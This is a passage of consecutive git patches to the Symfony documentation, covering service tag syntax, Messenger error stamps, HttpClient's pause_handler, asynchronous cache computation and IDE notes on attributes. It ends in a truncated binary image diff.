 (like entries of a collection) or reused in multiple forms at once, you
 should use the :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList`

From 6e6565b02e09210a11f98f0adcf470c958d86f08 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Aug 2023 14:56:24 +0200
Subject: [PATCH 5066/7107] Tweaks

---
 service_container/tags.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index c6ed02067e7..0bbe295cb7e 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -517,8 +517,9 @@ To answer this, change the service declaration:
 
 .. tip::
 
-    In XML and YAML format, you may provide the tag an attribute called ``name``.
-    When doing so, this is the syntax you should follow:
+    The ``name`` attribute is used by default to define the name of the tag.
+    If you want to add a ``name`` attribute to some tag in XML or YAML formats,
+    you need to use this special syntax:
 
     .. configuration-block::
 
@@ -529,6 +530,9 @@ To answer this, change the service declaration:
                 MailerSmtpTransport:
                     arguments: ['%mailer_host%']
                     tags:
+                        # this is a tag called 'app.mail_transport'
+                        - { name: 'app.mail_transport', alias: 'smtp' }
+                        # this is a tag called 'app.mail_transport' with two attributes ('name' and 'alias')
                         - app.mail_transport: { name: 'arbitrary-value', alias: 'smtp' }
 
         .. code-block:: xml
@@ -543,7 +547,9 @@ To answer this, change the service declaration:
                 <services>
                     <service id="MailerSmtpTransport">
                         <argument>%mailer_host%</argument>
-
+                        <!-- this is a tag called 'app.mail_transport' -->
+                        <tag name="app.mail_transport" alias="sendmail"/>
+                        <!-- this is a tag called 'app.mail_transport' with two attributes ('name' and 'alias') -->
                         <tag name="arbitrary-value" alias="smtp">app.mail_transport</tag>
                     </service>
                 </services>

From 495b5eb2ee214ca094ea4f6ddcdd671dba113788 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 31 Aug 2023 15:25:48 +0200
Subject: [PATCH 5067/7107] [Messenger] Add `FlattenExceptionNormalizer`

---
 components/messenger.rst | 14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 263a4dd1cca..e78daa1c8d8 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -161,9 +161,21 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
    an internal stamp when a message fails due to an exception in the handler.
 
+.. note::
+
+    The :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp` stamp
+    contains a :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException`,
+    which is a representation of the exception that made the message failed. This
+    exception can be retrieved with the
+    :method:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp::getFlattenException`
+    method. This exception is normalized thanks to the
+    :class:`Symfony\\Component\\Messenger\\Transport\\Serialization\\Normalizer\\FlattenExceptionNormalizer`
+    which helps error reporting in the Messenger context.
+
 .. versionadded:: 5.2
 
-    The ``ErrorDetailsStamp`` stamp was introduced in Symfony 5.2.
+    The ``ErrorDetailsStamp`` stamp and the ``FlattenExceptionNormalizer``
+    were introduced in Symfony 5.2.
 
 Instead of dealing directly with the messages in the middleware you receive the envelope.
 Hence you can inspect the envelope content and its stamps, or add any::

From e59d643638b6220e94bbd93eb3fb416c0c430b88 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 31 Aug 2023 16:21:28 +0200
Subject: [PATCH 5068/7107] [HttpKernel] Auto-register kernel as an extension

---
 configuration/micro_kernel_trait.rst | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 5940b918183..8b4869fdea1 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -105,7 +105,18 @@ Adding Interfaces to "Micro" Kernel
 When using the ``MicroKernelTrait``, you can also implement the
 ``CompilerPassInterface`` to automatically register the kernel itself as a
 compiler pass as explained in the dedicated
-:ref:`compiler pass section <kernel-as-compiler-pass>`.
+:ref:`compiler pass section <kernel-as-compiler-pass>`. If the
+:class:`Symfony\\Component\\DependencyInjection\\Extension\\ExtensionInterface`
+is implemented when using the ``MicroKernelTrait``, then the kernel will
+be automatically registered as an extension. You can learn more about it in
+the dedicated section about
+:ref:`managing configuration with extensions <components-dependency-injection-extension>`.
+
+.. versionadded:: 5.2
+
+    The automatic registration of the kernel as an extension when implementing the
+    :class:`Symfony\\Component\\DependencyInjection\\Extension\\ExtensionInterface`
+    was introduced in Symfony 5.2.
 
 It is also possible to implement the ``EventSubscriberInterface`` to handle
 events directly from the kernel, again it will be registered automatically::

From 516574c082dc05ca55ae0cf51dfc26884986d340 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 31 Aug 2023 16:04:08 +0200
Subject: [PATCH 5069/7107] [HttpClient] Add support for pausing responses

---
 http_client.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 8fe16087680..301e3ba379d 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1043,6 +1043,10 @@ following methods::
     // returns detailed logs about the requests and responses of the HTTP transaction
     $httpLogs = $response->getInfo('debug');
 
+    // the special "pause_handler" info item is a callable that allows to delay the request
+    // this helps implement delayed retries or throttling streams for example
+    $response->getInfo('pause_handler')(2);
+
 .. note::
 
     ``$response->toStream()`` is part of :class:`Symfony\\Component\\HttpClient\\Response\\StreamableInterface`.
@@ -1053,6 +1057,10 @@ following methods::
     about the response. Some of them might not be known yet (e.g. ``http_code``)
     when you'll call it.
 
+.. versionadded:: 5.2
+
+    The ``pause_handler`` info item was introduced in Symfony 5.2.
+
 .. _http-client-streaming-responses:
 
 Streaming Responses

From e7b4ff2107ef52167a5495d76bd03085a2df241d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Sep 2023 11:00:18 +0200
Subject: [PATCH 5070/7107] Tweaks

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 301e3ba379d..62fec487881 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1044,7 +1044,7 @@ following methods::
     $httpLogs = $response->getInfo('debug');
 
     // the special "pause_handler" info item is a callable that allows to delay the request
-    // this helps implement delayed retries or throttling streams for example
+    // for a given number of seconds; this allows you to delay retries, throttle streams, etc.
     $response->getInfo('pause_handler')(2);
 
 .. note::

From d9664c9f413bf25e5ea81120ecea3c010c06c96b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Sep 2023 11:01:35 +0200
Subject: [PATCH 5071/7107] Remove a versionadded directive

---
 http_client.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index f0aa702bcb8..53ae8db3337 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1164,10 +1164,6 @@ following methods::
     about the response. Some of them might not be known yet (e.g. ``http_code``)
     when you'll call it.
 
-.. versionadded:: 5.2
-
-    The ``pause_handler`` info item was introduced in Symfony 5.2.
-
 .. _http-client-streaming-responses:
 
 Streaming Responses

From 8797d07f049eab64eebe7286fcdf133b2d257ae2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Sep 2023 11:04:02 +0200
Subject: [PATCH 5072/7107] Tweak

---
 components/messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index e78daa1c8d8..25f0bcf1aa5 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -165,8 +165,8 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
 
     The :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp` stamp
     contains a :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException`,
-    which is a representation of the exception that made the message failed. This
-    exception can be retrieved with the
+    which is a representation of the exception that made the message fail. You can
+    get this exception with the
     :method:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp::getFlattenException`
     method. This exception is normalized thanks to the
     :class:`Symfony\\Component\\Messenger\\Transport\\Serialization\\Normalizer\\FlattenExceptionNormalizer`

From 47ca087f277cb12fb35354a029f4046d708c811c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 1 Sep 2023 12:05:51 +0200
Subject: [PATCH 5073/7107] [Cache] Add integration with Messenger

---
 cache.rst            | 146 +++++++++++++++++++++++++++++++++++++++++++
 components/cache.rst |   2 +
 2 files changed, 148 insertions(+)

diff --git a/cache.rst b/cache.rst
index b0d65f52740..57fb5df7b9a 100644
--- a/cache.rst
+++ b/cache.rst
@@ -837,3 +837,149 @@ When configuring multiple keys, the first key will be used for reading and
 writing, and the additional key(s) will only be used for reading. Once all
 cache items encrypted with the old key have expired, you can completely remove
 ``OLD_CACHE_DECRYPTION_KEY``.
+
+Computing Cache Values Asynchronously
+-------------------------------------
+
+.. versionadded:: 5.2
+
+    Computing cache values asynchronously with the Messenger
+    in a worker was introduced in Symfony 5.2.
+
+Combined with the :doc:`Messenger component docs </components/messenger>`, the
+Cache component allows you to compute and refresh cache values asynchronously.
+
+The :class:`Symfony\\Contracts\\Cache\\CacheInterface` enables
+`probabilistic early expiration`_, which means that sometimes, items are
+elected for early-expiration while they are still fresh. You can learn more
+about it in the :ref:`cache stampede prevention <cache_stampede-prevention>`
+section.
+
+Under classical circumstances, expired cache items are computed synchronously.
+However, with a bit of additional configuration, values computation can be
+delegated to a background worker. In this case, when an item is queried,
+its cached value is immediately returned and a
+:class:`Symfony\\Component\\Cache\\Messenger\\EarlyExpirationMessage` is
+dispatched through a Messenger bus. When this message is handled by a
+message consumer, the refreshed cache value is computed asynchronously.
+The next time the item is queried, the refreshed value will be fresh
+and returned.
+
+First, let's declare a service that will compute the item's value::
+
+    // src/Cache/CacheComputation.php
+    namespace App\Cache;
+
+    use Symfony\Contracts\Cache\ItemInterface;
+
+    class CacheComputation
+    {
+        public function compute(ItemInterface $item): string
+        {
+            $item->expiresAfter(5);
+
+            return sprintf('#%06X', mt_rand(0, 0xFFFFFF));
+        }
+    }
+
+Now, we can create a controller that will query this item::
+
+    // src/Controller/CacheController.php
+    namespace App\Controller;
+
+    use App\Cache\CacheComputation;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Contracts\Cache\CacheInterface;
+    use Symfony\Contracts\Cache\ItemInterface;
+
+    class CacheController extends AbstractController
+    {
+        /**
+         * @Route("/cache", name="cache")
+         */
+        public function index(CacheInterface $asyncCache): Response
+        {
+            // we give to the cache the service method that refreshes the item
+            $cachedValue = $cache->get('my_value', [CacheComputation::class, 'compute'])
+
+            // ...
+        }
+    }
+
+Finally, we configure a new cache pool called ``async.cache`` that will use a
+message bus to compute values in a worker:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            cache:
+                pools:
+                    async.cache:
+                        messenger_bus: async_bus
+
+            messenger:
+                transports:
+                    async_bus: '%env(MESSENGER_TRANSPORT_DSN)%'
+                routing:
+                    Symfony\Component\Cache\Messenger\Message\EarlyExpirationMessage: async_bus
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+<container xmlns="http://symfony.com/schema/dic/services"
+           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+           xmlns:framework="http://symfony.com/schema/dic/symfony"
+           xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
+            <framework:config>
+                <framework:cache>
+                    <framework:pool name="async.cache" early-expiration-message-bus="async_bus"/>
+                </framework:cache>
+
+                <framework:messenger>
+                    <framework:transport name="async_bus">%env(MESSENGER_TRANSPORT_DSN)%</framework:transport>
+                    <framework:routing message-class="Symfony\Component\Cache\Messenger\Message\EarlyExpirationMessage">
+                        <framework:sender service="async_bus"/>
+                    </framework:routing>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/framework/framework.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
+        use Symfony\Component\Cache\Messenger\EarlyExpirationMessage;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->cache()
+                ->pool('async.cache')
+                    ->earlyExpirationMessageBus('async_bus');
+
+            $framework->messenger()
+                ->transport('async_bus')
+                    ->dsn(env('MESSENGER_TRANSPORT_DSN'))
+                ->routing(EarlyExpirationMessage::class)
+                    ->senders(['async_bus']);
+        };
+
+You can now start the consumer:
+
+.. code-block:: terminal
+
+    $ php bin/console messenger:consume async_bus
+
+That's it! Now, whenever an item is queried from this cache pool, its cached
+value will be immediately returned. If it is elected for early-expiration, a message is sent
+through to bus to schedule a background computation to refresh the value.
+
+.. _`probabilistic early expiration`: https://en.wikipedia.org/wiki/Cache_stampede#Probabilistic_early_expiration
diff --git a/components/cache.rst b/components/cache.rst
index ff650ee13c3..daef6d4f5a6 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -90,6 +90,8 @@ generate and return the value::
     Use cache tags to delete more than one key at the time. Read more at
     :doc:`/components/cache/cache_invalidation`.
 
+.. _cache_stampede-prevention:
+
 Stampede Prevention
 ~~~~~~~~~~~~~~~~~~~
 

From fdb2407f0b91efa052f144b8e3374b52a7931701 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Sep 2023 15:51:23 +0200
Subject: [PATCH 5074/7107] Tweaks

---
 cache.rst | 55 +++++++++++++++++++++++++++----------------------------
 1 file changed, 27 insertions(+), 28 deletions(-)

diff --git a/cache.rst b/cache.rst
index 57fb5df7b9a..8ee26d7ad18 100644
--- a/cache.rst
+++ b/cache.rst
@@ -843,29 +843,25 @@ Computing Cache Values Asynchronously
 
 .. versionadded:: 5.2
 
-    Computing cache values asynchronously with the Messenger
-    in a worker was introduced in Symfony 5.2.
-
-Combined with the :doc:`Messenger component docs </components/messenger>`, the
-Cache component allows you to compute and refresh cache values asynchronously.
-
-The :class:`Symfony\\Contracts\\Cache\\CacheInterface` enables
-`probabilistic early expiration`_, which means that sometimes, items are
-elected for early-expiration while they are still fresh. You can learn more
-about it in the :ref:`cache stampede prevention <cache_stampede-prevention>`
-section.
-
-Under classical circumstances, expired cache items are computed synchronously.
-However, with a bit of additional configuration, values computation can be
-delegated to a background worker. In this case, when an item is queried,
-its cached value is immediately returned and a
+    The feature to compute cache values asynchronously was introduced in Symfony 5.2.
+
+The Cache component uses the `probabilistic early expiration`_ algorithm to
+protect against the :ref:`cache stampede <cache_stampede-prevention>` problem.
+This means that some cache items are elected for early-expiration while they are
+still fresh.
+
+By default, expired cache items are computed synchronously. However, you can
+compute them asynchronously by delegating the value computation to a background
+worker using the :doc:`Messenger component </components/messenger>`. In this case,
+when an item is queried, its cached value is immediately returned and a
 :class:`Symfony\\Component\\Cache\\Messenger\\EarlyExpirationMessage` is
-dispatched through a Messenger bus. When this message is handled by a
-message consumer, the refreshed cache value is computed asynchronously.
-The next time the item is queried, the refreshed value will be fresh
-and returned.
+dispatched through a Messenger bus.
 
-First, let's declare a service that will compute the item's value::
+When this message is handled by a message consumer, the refreshed cache value is
+computed asynchronously. The next time the item is queried, the refreshed value
+will be fresh and returned.
+
+First, create a service that will compute the item's value::
 
     // src/Cache/CacheComputation.php
     namespace App\Cache;
@@ -878,11 +874,13 @@ First, let's declare a service that will compute the item's value::
         {
             $item->expiresAfter(5);
 
+            // this is just a random example; here you must do your own calculation
             return sprintf('#%06X', mt_rand(0, 0xFFFFFF));
         }
     }
 
-Now, we can create a controller that will query this item::
+This cache value will be requested from a controller, another service, etc.
+In the following example, the value is requested from a controller::
 
     // src/Controller/CacheController.php
     namespace App\Controller;
@@ -900,15 +898,15 @@ Now, we can create a controller that will query this item::
          */
         public function index(CacheInterface $asyncCache): Response
         {
-            // we give to the cache the service method that refreshes the item
+            // pass to the cache the service method that refreshes the item
             $cachedValue = $cache->get('my_value', [CacheComputation::class, 'compute'])
 
             // ...
         }
     }
 
-Finally, we configure a new cache pool called ``async.cache`` that will use a
-message bus to compute values in a worker:
+Finally, configure a new cache pool (e.g. called ``async.cache``) that will use
+a message bus to compute values in a worker:
 
 .. configuration-block::
 
@@ -931,7 +929,7 @@ message bus to compute values in a worker:
 
         <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
-<container xmlns="http://symfony.com/schema/dic/services"
+        <container xmlns="http://symfony.com/schema/dic/services"
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xmlns:framework="http://symfony.com/schema/dic/symfony"
            xsi:schemaLocation="http://symfony.com/schema/dic/services
@@ -979,7 +977,8 @@ You can now start the consumer:
     $ php bin/console messenger:consume async_bus
 
 That's it! Now, whenever an item is queried from this cache pool, its cached
-value will be immediately returned. If it is elected for early-expiration, a message is sent
-through to bus to schedule a background computation to refresh the value.
+value will be returned immediately. If it is elected for early-expiration, a
+message will be sent through to bus to schedule a background computation to refresh
+the value.
 
 .. _`probabilistic early expiration`: https://en.wikipedia.org/wiki/Cache_stampede#Probabilistic_early_expiration

From a7dd42a867961eae95ffe46f44506d3966864f03 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Sep 2023 15:53:21 +0200
Subject: [PATCH 5075/7107] Remove a versionadded directive

---
 cache.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/cache.rst b/cache.rst
index 725d69337e1..5340d84fadc 100644
--- a/cache.rst
+++ b/cache.rst
@@ -850,10 +850,6 @@ cache items encrypted with the old key have expired, you can completely remove
 Computing Cache Values Asynchronously
 -------------------------------------
 
-.. versionadded:: 5.2
-
-    The feature to compute cache values asynchronously was introduced in Symfony 5.2.
-
 The Cache component uses the `probabilistic early expiration`_ algorithm to
 protect against the :ref:`cache stampede <cache_stampede-prevention>` problem.
 This means that some cache items are elected for early-expiration while they are

From 97a168c76fc93e154b89c226b8c5354660938c8d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 1 Sep 2023 16:03:24 +0200
Subject: [PATCH 5076/7107] [Cache] Mutate annotation to attribute

---
 cache.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/cache.rst b/cache.rst
index 5340d84fadc..410d842d0d3 100644
--- a/cache.rst
+++ b/cache.rst
@@ -898,9 +898,7 @@ In the following example, the value is requested from a controller::
 
     class CacheController extends AbstractController
     {
-        /**
-         * @Route("/cache", name="cache")
-         */
+        #[Route('/cache', name: 'cache')]
         public function index(CacheInterface $asyncCache): Response
         {
             // pass to the cache the service method that refreshes the item

From 86ebf1991007c7fd2b98dcd44582a6fb31ca5263 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 1 Sep 2023 16:04:16 +0200
Subject: [PATCH 5077/7107] [Cache] Fix config key

---
 cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index 8ee26d7ad18..fd8e0d225af 100644
--- a/cache.rst
+++ b/cache.rst
@@ -917,7 +917,7 @@ a message bus to compute values in a worker:
             cache:
                 pools:
                     async.cache:
-                        messenger_bus: async_bus
+                        early_expiration_message_bus: async_bus
 
             messenger:
                 transports:

From 8d326cbab5e6eaeacdc41c3285be22b2285cfe13 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Sep 2023 16:09:39 +0200
Subject: [PATCH 5078/7107] [Workflow] Mention that the initial marking is
 configured, not set in code

---
 workflow.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 02abd4da037..c057affbf87 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -189,6 +189,9 @@ The configured property will be used via its implemented getter/setter methods b
         {
             $this->currentPlace = $currentPlace;
         }
+
+        // you don't need to set the initial marking in the constructor or any other method;
+        // this is configured in the workflow with the 'initial_marking' option
     }
 
 .. note::
@@ -225,6 +228,8 @@ what actions are allowed on a blog post::
     use Symfony\Component\Workflow\Exception\LogicException;
 
     $post = new BlogPost();
+    // you don't need to set the initial marking with code; this is configured
+    // in the workflow with the 'initial_marking' option
 
     $workflow = $this->container->get('workflow.blog_publishing');
     $workflow->can($post, 'publish'); // False

From 0121f23c7d3b419d41f7176ae0340a2bd7544645 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Sep 2023 17:41:35 +0200
Subject: [PATCH 5079/7107] Add a note about constructor promotion and IDEs
 errors about attributes

---
 service_container/autowiring.rst |  8 ++++++++
 service_container/tags.rst       | 10 ++++++++++
 2 files changed, 18 insertions(+)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 85b649778bf..11a699e8a86 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -582,6 +582,13 @@ attribute like this::
         }
     }
 
+.. note::
+
+    Some IDEs will show an error when using the ``#[Target]`` as in the previous example:
+    *"Attribute cannot be applied to a property because it does not contain the 'Attribute::TARGET_PROPERTY' flag"*.
+    The reason is that thanks to `PHP constructor promotion`_ this constructor
+    argument is both a parameter and a class property. You can safely ignore this error message.
+
 .. versionadded:: 5.3
 
     The ``#[Target]`` attribute was introduced in Symfony 5.3.
@@ -737,3 +744,4 @@ over all code.
 
 .. _ROT13: https://en.wikipedia.org/wiki/ROT13
 .. _service definition prototype: https://symfony.com/blog/new-in-symfony-3-3-psr-4-based-service-discovery
+.. _`PHP constructor promotion`: https://www.php.net/manual/en/language.oop5.decon.php#language.oop5.decon.constructor.promotion
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 0bbe295cb7e..e077be252df 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -717,6 +717,14 @@ directly via PHP attributes:
             ;
         };
 
+.. note::
+
+    Some IDEs will show an error when using the ``#[TaggedIterator]`` together
+    with the `PHP constructor promotion`_:
+    *"Attribute cannot be applied to a property because it does not contain the 'Attribute::TARGET_PROPERTY' flag"*.
+    The reason is that those constructor arguments are both parameters and class
+    properties. You can safely ignore this error message.
+
 .. versionadded:: 5.3
 
     The ``#[TaggedIterator]`` attribute was introduced in Symfony 5.3 and requires PHP 8.
@@ -1092,3 +1100,5 @@ be used directly on the class of the service you want to configure::
 .. versionadded:: 5.3
 
     The ``#[AsTaggedItem]`` attribute was introduced in Symfony 5.3.
+
+.. _`PHP constructor promotion`: https://www.php.net/manual/en/language.oop5.decon.php#language.oop5.decon.constructor.promotion

From 673cd601b0f77df828891b5f1ec02c8c1a06e190 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 29 Aug 2023 13:30:43 +0200
Subject: [PATCH 5080/7107] [RFC] Add alt texts to images

---
 .../contributing/docs-github-edit-page.png    | Bin 62133 -> 59383 bytes
 _images/doctrine/mapping_relations.png        | Bin 63861 -> 0 bytes
 _images/doctrine/mapping_relations.svg        | 602 ++++++++++++
 _images/doctrine/mapping_relations_proxy.png  | Bin 151397 -> 0 bytes
 _images/doctrine/mapping_relations_proxy.svg  | 926 ++++++++++++++++++
 _images/doctrine/mapping_single_entity.png    | Bin 64366 -> 0 bytes
 _images/doctrine/mapping_single_entity.svg    | 469 +++++++++
 _images/form/data-transformer-types.png       | Bin 46314 -> 0 bytes
 _images/form/data-transformer-types.svg       | 178 ++++
 _images/form/form_prepopulation_workflow.svg  | 305 +++++-
 _images/form/form_submission_workflow.svg     | 408 ++++++--
 _images/form/form_workflow.svg                | 327 +++++--
 _images/http/xkcd-full.png                    | Bin 10968 -> 0 bytes
 _images/http/xkcd-full.svg                    | 324 ++++++
 _images/http/xkcd-request.png                 | Bin 6991 -> 0 bytes
 _images/http/xkcd-request.svg                 | 191 ++++
 _images/mercure/discovery.png                 | Bin 176913 -> 0 bytes
 _images/mercure/discovery.svg                 | 294 ++++++
 _images/mercure/hub.svg                       | 196 ++++
 _images/mercure/schema.png                    | Bin 333957 -> 0 bytes
 _images/sources/README.md                     |   4 +-
 .../sources/doctrine/mapping_relations.dia    | Bin 0 -> 3114 bytes
 .../doctrine/mapping_relations_proxy.dia      | Bin 0 -> 3844 bytes
 .../doctrine/mapping_single_entity.dia        | Bin 0 -> 2338 bytes
 .../sources/form/data-transformer-types.dia   | Bin 0 -> 2007 bytes
 .../form/form_prepopulation_workflow.dia      | Bin 0 -> 1680 bytes
 .../sources/form/form_submission_workflow.dia | Bin 0 -> 1950 bytes
 _images/sources/form/form_workflow.dia        | Bin 0 -> 1871 bytes
 _images/sources/http/xkcd-full.dia            | Bin 0 -> 1612 bytes
 _images/sources/http/xkcd-request.dia         | Bin 0 -> 1380 bytes
 _images/sources/mercure/discovery.dia         | Bin 0 -> 1454 bytes
 _images/sources/mercure/hub.dia               | Bin 0 -> 1564 bytes
 components/console/helpers/cursor.rst         |   2 +-
 .../console/helpers/debug_formatter.rst       |   2 +-
 components/console/helpers/processhelper.rst  |   3 +
 components/console/helpers/progressbar.rst    |   1 +
 components/form.rst                           |   2 +-
 components/http_kernel.rst                    |  12 +-
 components/messenger.rst                      |   4 +-
 components/serializer.rst                     |  23 +-
 components/string.rst                         |   2 +-
 components/var_dumper.rst                     |   9 +
 components/workflow.rst                       |   1 +
 console.rst                                   |   1 +
 contributing/code/stack_trace.rst             |   8 +-
 contributing/documentation/overview.rst       |  10 +-
 contributing/documentation/standards.rst      |  32 +
 controller/error_pages.rst                    |  10 +-
 doctrine.rst                                  |  11 +-
 doctrine/associations.rst                     |  14 +-
 form/create_custom_field_type.rst             |  21 +-
 form/data_transformers.rst                    |   9 +-
 form/events.rst                               |  20 +-
 form/form_customization.rst                   |   6 +-
 form/form_themes.rst                          |   4 +-
 form/tailwindcss.rst                          |   2 +-
 introduction/from_flat_php_to_symfony.rst     |   4 +-
 introduction/http_fundamentals.rst            |  25 +-
 mercure.rst                                   |  15 +-
 profiler.rst                                  |   8 +-
 quick_tour/the_big_picture.rst                |   4 +-
 rate_limiter.rst                              |  22 +-
 reference/forms/types/choice.rst              |   4 +-
 .../forms/types/options/choice_label.rst.inc  |   2 +-
 .../forms/types/options/group_by.rst.inc      |   2 +-
 .../types/options/preferred_choices.rst.inc   |   2 +-
 security.rst                                  |   6 +-
 security/login_link.rst                       |   1 +
 security/remember_me.rst                      |   1 +
 setup/upgrade_major.rst                       |   4 +-
 translation.rst                               |   9 +-
 workflow.rst                                  |   1 +
 workflow/dumping-workflows.rst                |   4 +
 workflow/workflow-and-state-machine.rst       |   3 +
 74 files changed, 4267 insertions(+), 283 deletions(-)
 delete mode 100644 _images/doctrine/mapping_relations.png
 create mode 100644 _images/doctrine/mapping_relations.svg
 delete mode 100644 _images/doctrine/mapping_relations_proxy.png
 create mode 100644 _images/doctrine/mapping_relations_proxy.svg
 delete mode 100644 _images/doctrine/mapping_single_entity.png
 create mode 100644 _images/doctrine/mapping_single_entity.svg
 delete mode 100644 _images/form/data-transformer-types.png
 create mode 100644 _images/form/data-transformer-types.svg
 delete mode 100644 _images/http/xkcd-full.png
 create mode 100644 _images/http/xkcd-full.svg
 delete mode 100644 _images/http/xkcd-request.png
 create mode 100644 _images/http/xkcd-request.svg
 delete mode 100644 _images/mercure/discovery.png
 create mode 100644 _images/mercure/discovery.svg
 create mode 100644 _images/mercure/hub.svg
 delete mode 100644 _images/mercure/schema.png
 create mode 100644 _images/sources/doctrine/mapping_relations.dia
 create mode 100644 _images/sources/doctrine/mapping_relations_proxy.dia
 create mode 100644 _images/sources/doctrine/mapping_single_entity.dia
 create mode 100644 _images/sources/form/data-transformer-types.dia
 create mode 100644 _images/sources/form/form_prepopulation_workflow.dia
 create mode 100644 _images/sources/form/form_submission_workflow.dia
 create mode 100644 _images/sources/form/form_workflow.dia
 create mode 100644 _images/sources/http/xkcd-full.dia
 create mode 100644 _images/sources/http/xkcd-request.dia
 create mode 100644 _images/sources/mercure/discovery.dia
 create mode 100644 _images/sources/mercure/hub.dia

diff --git a/_images/contributing/docs-github-edit-page.png b/_images/contributing/docs-github-edit-page.png
index 9ea6c15421a545259715453086a5770e4414e760..b739497f70f84e7e864c34132b5059193e8099f2 100644
GIT binary patch
literal 59383
zcmd>lg;!Qx_brHu5+Z`qpeWtlARr>$-QC@dq|!=vcXxN^LwDChcjw)__xs-8{S)rE
z*D)}T`|NYh-g~Vz*P3(vmJ}C6M!-gZfq_95`teN~2IjdQ3=Ay$tC!$PGs58<_~W(Z
z4<#EIm^bZDKd{{vIlAB?maTxIt&D}ft%H`e9*l#71GSO4iH(kyr5?3~wL$y=CpHYs
zM;M`Ryt0l7dkYSV=n5DuD+CjK<qGn9!lf7ijUP2>G=;SHzU#bT%*xHt$ZI6NFw~Z9
zQ74TuL@&V!*0ex(fi?Z8*Tf?)FJG5t^7oWGG<0t-F_xp81JUMU-sT)#K<X{ut4}`v
z`?tf0rXr4y|M>^st7DBXyjcJJKfYIZVJSiXGx*I9$?yN($Or$0^z*;>rNX_7K>c^t
